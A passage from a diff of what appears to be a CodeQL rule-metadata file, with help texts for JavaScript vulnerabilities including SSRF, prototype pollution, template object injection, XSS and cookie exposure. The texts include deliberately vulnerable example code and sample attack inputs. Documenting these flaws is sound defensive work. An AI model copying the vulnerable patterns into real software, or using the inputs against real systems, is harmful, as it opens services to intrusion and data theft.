\".\");\n }\n}\n\n```\n\n## Example\nThis second example shows an input being validated using the JSON schema validator `ajv`, and in case of an error, the error message is sent directly back in the response.\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet app = express();\nlet ajv = new Ajv();\n\najv.addSchema({type: 'object', additionalProperties: {type: 'number'}}, 'pollData');\n\napp.post('/polldata', (req, res) => {\n if (!ajv.validate('pollData', req.body)) {\n res.send(ajv.errorsText());\n }\n});\n\n```\nThis is unsafe, because the error message can contain parts of the input. For example, the input `{'': 'foo'}` will generate the error `data/ should be number`, causing reflected XSS.\n\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + }, + "properties" : { + "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ], + "description" : "Reinterpreting text from an exception as HTML\n can lead to a cross-site scripting vulnerability.", + "id" : "js/xss-through-exception", + "kind" : "path-problem", + "name" : "Exception text reinterpreted as HTML", + "precision" : "high", + "problem.severity" : "warning", + "security-severity" : "6.1" + } }, { "id" : "js/zipslip", "name" : "js/zipslip", @@ -1164,193 +1299,220 @@ "security-severity" : "7.5" } }, { - "id" : "js/template-object-injection", - "name" : "js/template-object-injection", + "id" : "js/request-forgery", + "name" : "js/request-forgery", "shortDescription" : { - "text" : "Template Object Injection" + "text" : "Server-side request forgery" }, "fullDescription" : { - "text" : "Instantiating a template using a user-controlled object is vulnerable to local file read and potential remote code execution." + "text" : "Making a network request with user-controlled data in the URL allows for request forgery attacks." }, "defaultConfiguration" : { "enabled" : true, "level" : "error" }, "help" : { - "text" : "# Template Object Injection\nDirectly using user-controlled objects as arguments to template engines might allow an attacker to do local file reads or even remote code execution.\n\n\n## Recommendation\nAvoid using user-controlled objects as arguments to a template engine. Instead, construct the object explicitly with the specific properties needed by the template.\n\n\n## Example\nIn the example below a server uses the user-controlled `profile` object to render the `index` template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n var profile = req.body.profile;\n res.render('index', profile);\n});\n```\nHowever, if an attacker adds a `layout` property to the `profile` object then the server will load the file specified by the `layout` property, thereby allowing an attacker to do local file reads.\n\nThe fix is to have the server construct the object, and only add the properties that are needed by the template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n var profile = req.body.profile;\n res.render('index', {\n name: profile.name,\n location: profile.location\n });\n});\n```\n\n## References\n* blog.shoebpatel.com: [The Secret Parameter, LFR, and Potential RCE in NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/).\n* cwe.mitre.org: [CWE-73: External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n", - "markdown" : "# Template Object Injection\nDirectly using user-controlled objects as arguments to template engines might allow an attacker to do local file reads or even remote code execution.\n\n\n## Recommendation\nAvoid using user-controlled objects as arguments to a template engine. Instead, construct the object explicitly with the specific properties needed by the template.\n\n\n## Example\nIn the example below a server uses the user-controlled `profile` object to render the `index` template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n var profile = req.body.profile;\n res.render('index', profile);\n});\n```\nHowever, if an attacker adds a `layout` property to the `profile` object then the server will load the file specified by the `layout` property, thereby allowing an attacker to do local file reads.\n\nThe fix is to have the server construct the object, and only add the properties that are needed by the template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n var profile = req.body.profile;\n res.render('index', {\n name: profile.name,\n location: profile.location\n });\n});\n```\n\n## References\n* blog.shoebpatel.com: [The Secret Parameter, LFR, and Potential RCE in NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/).\n* cwe.mitre.org: [CWE-73: External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n" + "text" : "# Server-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. If the server performing the request is connected to an internal network, this can give an attacker the means to bypass the network boundary and make requests against internal services. A forged request may perform an unintended action on behalf of the attacker, or cause information leak if redirected to an external server or if the request response is fed back to the user. It may also compromise the server making the request, if the request response is handled in an unsafe way.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request parameter being used directly in the URL of a request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `\"internal.example.com/#\"` as the target, causing the URL used in the request to be `\"https://internal.example.com/#.example.com/data\"`.\n\nA request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine.\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n // BAD: `target` is controlled by the attacker\n http.get('https://' + target + \".example.com/data/\", res => {\n // process request response ...\n });\n\n});\n\n```\nOne way to remedy the problem is to use the user input to select a known fixed string before performing the request:\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n let subdomain;\n if (target === 'EU') {\n subdomain = \"europe\"\n } else {\n subdomain = \"world\"\n }\n\n // GOOD: `subdomain` is controlled by the server\n http.get('https://' + subdomain + \".example.com/data/\", res => {\n // process request response ...\n });\n\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n", + "markdown" : "# Server-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. If the server performing the request is connected to an internal network, this can give an attacker the means to bypass the network boundary and make requests against internal services. A forged request may perform an unintended action on behalf of the attacker, or cause information leak if redirected to an external server or if the request response is fed back to the user. It may also compromise the server making the request, if the request response is handled in an unsafe way.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request parameter being used directly in the URL of a request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `\"internal.example.com/#\"` as the target, causing the URL used in the request to be `\"https://internal.example.com/#.example.com/data\"`.\n\nA request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine.\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n // BAD: `target` is controlled by the attacker\n http.get('https://' + target + \".example.com/data/\", res => {\n // process request response ...\n });\n\n});\n\n```\nOne way to remedy the problem is to use the user input to select a known fixed string before performing the request:\n\n\n```javascript\nimport http from 'http';\n\nconst server = http.createServer(function(req, res) {\n const target = new URL(req.url, \"http://example.com\").searchParams.get(\"target\");\n\n let subdomain;\n if (target === 'EU') {\n subdomain = \"europe\"\n } else {\n subdomain = \"world\"\n }\n\n // GOOD: `subdomain` is controlled by the server\n http.get('https://' + subdomain + \".example.com/data/\", res => {\n // process request response ...\n });\n\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-073", "external/cwe/cwe-094" ], - "description" : "Instantiating a template using a user-controlled object is vulnerable to local file read and potential remote code execution.", - "id" : "js/template-object-injection", + "tags" : [ "security", "external/cwe/cwe-918" ], + "description" : "Making a network request with user-controlled data in the URL allows for request forgery attacks.", + "id" : "js/request-forgery", "kind" : "path-problem", - "name" : "Template Object Injection", + "name" : "Server-side request forgery", "precision" : "high", "problem.severity" : "error", - "security-severity" : "9.3" + "security-severity" : "9.1" } }, { - "id" : "js/prototype-polluting-assignment", - "name" : "js/prototype-polluting-assignment", + "id" : "js/resource-exhaustion-from-deep-object-traversal", + "name" : "js/resource-exhaustion-from-deep-object-traversal", "shortDescription" : { - "text" : "Prototype-polluting assignment" + "text" : "Resources exhaustion from deep object traversal" }, "fullDescription" : { - "text" : "Modifying an object obtained via a user-controlled property name may lead to accidental mutation of the built-in Object prototype, and possibly escalate to remote code execution or cross-site scripting." + "text" : "Processing user-controlled object hierarchies inefficiently can lead to denial of service." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Prototype-polluting assignment\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype` object, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is by modifying an object obtained via a user-controlled property name. Most objects have a special `__proto__` property that refers to `Object.prototype`. An attacker can abuse this special property to trick the application into performing unintended modifications of `Object.prototype`.\n\n\n## Recommendation\nUse an associative data structure that is resilient to untrusted key values, such as a [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). In some cases, a prototype-less object created with [Object.create(null)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) may be preferable.\n\nAlternatively, restrict the computed property name so it can't clash with a built-in property, either by prefixing it with a constant string, or by rejecting inputs that don't conform to the expected format.\n\n\n## Example\nIn the example below, the untrusted value `req.params.id` is used as the property name `req.session.todos[id]`. If a malicious user passes in the ID value `__proto__`, the variable `items` will then refer to `Object.prototype`. Finally, the modification of `items` then allows the attacker to inject arbitrary properties onto `Object.prototype`.\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n let items = req.session.todos[id];\n if (!items) {\n items = req.session.todos[id] = {};\n }\n items[req.query.name] = req.query.text;\n res.end(200);\n});\n\n```\nOne way to fix this is to use [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) objects to associate key/value pairs instead of regular objects, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n let items = req.session.todos.get(id);\n if (!items) {\n items = new Map();\n req.sessions.todos.set(id, items);\n }\n items.set(req.query.name, req.query.text);\n res.end(200);\n});\n\n```\nAnother way to fix it is to prevent the `__proto__` property from being used as a key, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n if (id === '__proto__' || id === 'constructor' || id === 'prototype') {\n res.end(403);\n return;\n }\n let items = req.session.todos[id];\n if (!items) {\n items = req.session.todos[id] = {};\n }\n items[req.query.name] = req.query.text;\n res.end(200);\n});\n\n```\n\n## References\n* MDN: [Object.prototype.__proto__](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n", - "markdown" : "# Prototype-polluting assignment\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype` object, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is by modifying an object obtained via a user-controlled property name. Most objects have a special `__proto__` property that refers to `Object.prototype`. An attacker can abuse this special property to trick the application into performing unintended modifications of `Object.prototype`.\n\n\n## Recommendation\nUse an associative data structure that is resilient to untrusted key values, such as a [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). In some cases, a prototype-less object created with [Object.create(null)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) may be preferable.\n\nAlternatively, restrict the computed property name so it can't clash with a built-in property, either by prefixing it with a constant string, or by rejecting inputs that don't conform to the expected format.\n\n\n## Example\nIn the example below, the untrusted value `req.params.id` is used as the property name `req.session.todos[id]`. If a malicious user passes in the ID value `__proto__`, the variable `items` will then refer to `Object.prototype`. Finally, the modification of `items` then allows the attacker to inject arbitrary properties onto `Object.prototype`.\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n let items = req.session.todos[id];\n if (!items) {\n items = req.session.todos[id] = {};\n }\n items[req.query.name] = req.query.text;\n res.end(200);\n});\n\n```\nOne way to fix this is to use [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) objects to associate key/value pairs instead of regular objects, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n let items = req.session.todos.get(id);\n if (!items) {\n items = new Map();\n req.sessions.todos.set(id, items);\n }\n items.set(req.query.name, req.query.text);\n res.end(200);\n});\n\n```\nAnother way to fix it is to prevent the `__proto__` property from being used as a key, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n if (id === '__proto__' || id === 'constructor' || id === 'prototype') {\n res.end(403);\n return;\n }\n let items = req.session.todos[id];\n if (!items) {\n items = req.session.todos[id] = {};\n }\n items[req.query.name] = req.query.text;\n res.end(200);\n});\n\n```\n\n## References\n* MDN: [Object.prototype.__proto__](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n" + "text" : "# Resources exhaustion from deep object traversal\nProcessing user-controlled data with a method that allocates excessive amounts of memory can lead to denial of service.\n\nIf the JSON schema validation library `ajv` is configured with `allErrors: true` there is no limit to how many error objects will be allocated. An attacker can exploit this by sending an object that deliberately contains a huge number of errors, and in some cases, with longer and longer error messages. This can cause the service to become unresponsive due to the slow error-checking process.\n\n\n## Recommendation\nDo not use `allErrors: true` in production.\n\n\n## Example\nIn the example below, the user-submitted object `req.body` is validated using `ajv` and `allErrors: true`:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: true });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\nAlthough this ensures that `req.body` conforms to the schema, the validation itself could be vulnerable to a denial-of-service attack. An attacker could send an object containing so many errors that the server runs out of memory.\n\nA solution is to not pass in `allErrors: true`, which means `ajv` will only report the first error, not all of them:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: process.env['REST_DEBUG'] });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\n\n## References\n* Ajv documentation: [security considerations](https://github.com/ajv-validator/ajv/blob/master/docs/security.md#untrusted-schemas)\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", + "markdown" : "# Resources exhaustion from deep object traversal\nProcessing user-controlled data with a method that allocates excessive amounts of memory can lead to denial of service.\n\nIf the JSON schema validation library `ajv` is configured with `allErrors: true` there is no limit to how many error objects will be allocated. An attacker can exploit this by sending an object that deliberately contains a huge number of errors, and in some cases, with longer and longer error messages. This can cause the service to become unresponsive due to the slow error-checking process.\n\n\n## Recommendation\nDo not use `allErrors: true` in production.\n\n\n## Example\nIn the example below, the user-submitted object `req.body` is validated using `ajv` and `allErrors: true`:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: true });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\nAlthough this ensures that `req.body` conforms to the schema, the validation itself could be vulnerable to a denial-of-service attack. An attacker could send an object containing so many errors that the server runs out of memory.\n\nA solution is to not pass in `allErrors: true`, which means `ajv` will only report the first error, not all of them:\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet ajv = new Ajv({ allErrors: process.env['REST_DEBUG'] });\najv.addSchema(require('./input-schema'), 'input');\n\nvar app = express();\napp.get('/user/:id', function(req, res) {\n\tif (!ajv.validate('input', req.body)) {\n\t\tres.end(ajv.errorsText());\n\t\treturn;\n\t}\n\t// ...\n});\n\n```\n\n## References\n* Ajv documentation: [security considerations](https://github.com/ajv-validator/ajv/blob/master/docs/security.md#untrusted-schemas)\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-078", "external/cwe/cwe-079", "external/cwe/cwe-094", "external/cwe/cwe-400", "external/cwe/cwe-471", "external/cwe/cwe-915" ], - "description" : "Modifying an object obtained via a user-controlled property name may\n lead to accidental mutation of the built-in Object prototype,\n and possibly escalate to remote code execution or cross-site scripting.", - "id" : "js/prototype-polluting-assignment", + "tags" : [ "security", "external/cwe/cwe-400" ], + "description" : "Processing user-controlled object hierarchies inefficiently can lead to denial of service.", + "id" : "js/resource-exhaustion-from-deep-object-traversal", "kind" : "path-problem", - "name" : "Prototype-polluting assignment", + "name" : "Resources exhaustion from deep object traversal", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "6.1" + "security-severity" : "7.5" } }, { - "id" : "js/prototype-pollution-utility", - "name" : "js/prototype-pollution-utility", + "id" : "js/client-exposed-cookie", + "name" : "js/client-exposed-cookie", "shortDescription" : { - "text" : "Prototype-polluting function" + "text" : "Sensitive server cookie exposed to the client" }, "fullDescription" : { - "text" : "Functions recursively assigning properties on objects may be the cause of accidental modification of a built-in prototype object." + "text" : "Sensitive cookies set by a server can be read by the client if the `httpOnly` flag is not set." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Prototype-polluting function\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`.\n\n\n## Recommendation\nThe most effective place to guard against this is in the function that performs the recursive copy or deep assignment.\n\nOnly merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, block the property names `__proto__` and `constructor` from being merged or assigned to.\n\n\n## Example\nThis function recursively copies properties from `src` to `dst`:\n\n\n```javascript\nfunction merge(dst, src) {\n for (let key in src) {\n if (!src.hasOwnProperty(key)) continue;\n if (isObject(dst[key])) {\n merge(dst[key], src[key]);\n } else {\n dst[key] = src[key];\n }\n }\n}\n\n```\nHowever, if `src` is the object `{\"__proto__\": {\"isAdmin\": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`.\n\nThe issue can be fixed by ensuring that only own properties of the destination object are merged recursively:\n\n\n```javascript\nfunction merge(dst, src) {\n for (let key in src) {\n if (!src.hasOwnProperty(key)) continue;\n if (dst.hasOwnProperty(key) && isObject(dst[key])) {\n merge(dst[key], src[key]);\n } else {\n dst[key] = src[key];\n }\n }\n}\n\n```\nAlternatively, block the `__proto__` and `constructor` properties:\n\n\n```javascript\nfunction merge(dst, src) {\n for (let key in src) {\n if (!src.hasOwnProperty(key)) continue;\n if (key === \"__proto__\" || key === \"constructor\") continue;\n if (isObject(dst[key])) {\n merge(dst[key], src[key]);\n } else {\n dst[key] = src[key];\n }\n }\n}\n\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n", - "markdown" : "# Prototype-polluting function\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`.\n\n\n## Recommendation\nThe most effective place to guard against this is in the function that performs the recursive copy or deep assignment.\n\nOnly merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, block the property names `__proto__` and `constructor` from being merged or assigned to.\n\n\n## Example\nThis function recursively copies properties from `src` to `dst`:\n\n\n```javascript\nfunction merge(dst, src) {\n for (let key in src) {\n if (!src.hasOwnProperty(key)) continue;\n if (isObject(dst[key])) {\n merge(dst[key], src[key]);\n } else {\n dst[key] = src[key];\n }\n }\n}\n\n```\nHowever, if `src` is the object `{\"__proto__\": {\"isAdmin\": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`.\n\nThe issue can be fixed by ensuring that only own properties of the destination object are merged recursively:\n\n\n```javascript\nfunction merge(dst, src) {\n for (let key in src) {\n if (!src.hasOwnProperty(key)) continue;\n if (dst.hasOwnProperty(key) && isObject(dst[key])) {\n merge(dst[key], src[key]);\n } else {\n dst[key] = src[key];\n }\n }\n}\n\n```\nAlternatively, block the `__proto__` and `constructor` properties:\n\n\n```javascript\nfunction merge(dst, src) {\n for (let key in src) {\n if (!src.hasOwnProperty(key)) continue;\n if (key === \"__proto__\" || key === \"constructor\") continue;\n if (isObject(dst[key])) {\n merge(dst[key], src[key]);\n } else {\n dst[key] = src[key];\n }\n }\n}\n\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n" + "text" : "# Sensitive server cookie exposed to the client\nAuthentication cookies stored by a server can be accessed by a client if the `httpOnly` flag is not set.\n\nAn attacker that manages a cross-site scripting (XSS) attack can read the cookie and hijack the session.\n\n\n## Recommendation\nSet the `httpOnly` flag on all cookies that are not needed by the client.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be viewed by the client.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html).\n", + "markdown" : "# Sensitive server cookie exposed to the client\nAuthentication cookies stored by a server can be accessed by a client if the `httpOnly` flag is not set.\n\nAn attacker that manages a cross-site scripting (XSS) attack can read the cookie and hijack the session.\n\n\n## Recommendation\nSet the `httpOnly` flag on all cookies that are not needed by the client.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be viewed by the client.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n res.writeHead(200, { 'Content-Type': 'text/html' });\n res.end('

Hello world

');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-078", "external/cwe/cwe-079", "external/cwe/cwe-094", "external/cwe/cwe-400", "external/cwe/cwe-471", "external/cwe/cwe-915" ], - "description" : "Functions recursively assigning properties on objects may be\n the cause of accidental modification of a built-in prototype object.", - "id" : "js/prototype-pollution-utility", - "kind" : "path-problem", - "name" : "Prototype-polluting function", + "tags" : [ "security", "external/cwe/cwe-1004" ], + "description" : "Sensitive cookies set by a server can be read by the client if the `httpOnly` flag is not set.", + "id" : "js/client-exposed-cookie", + "kind" : "problem", + "name" : "Sensitive server cookie exposed to the client", "precision" : "high", "problem.severity" : "warning", - 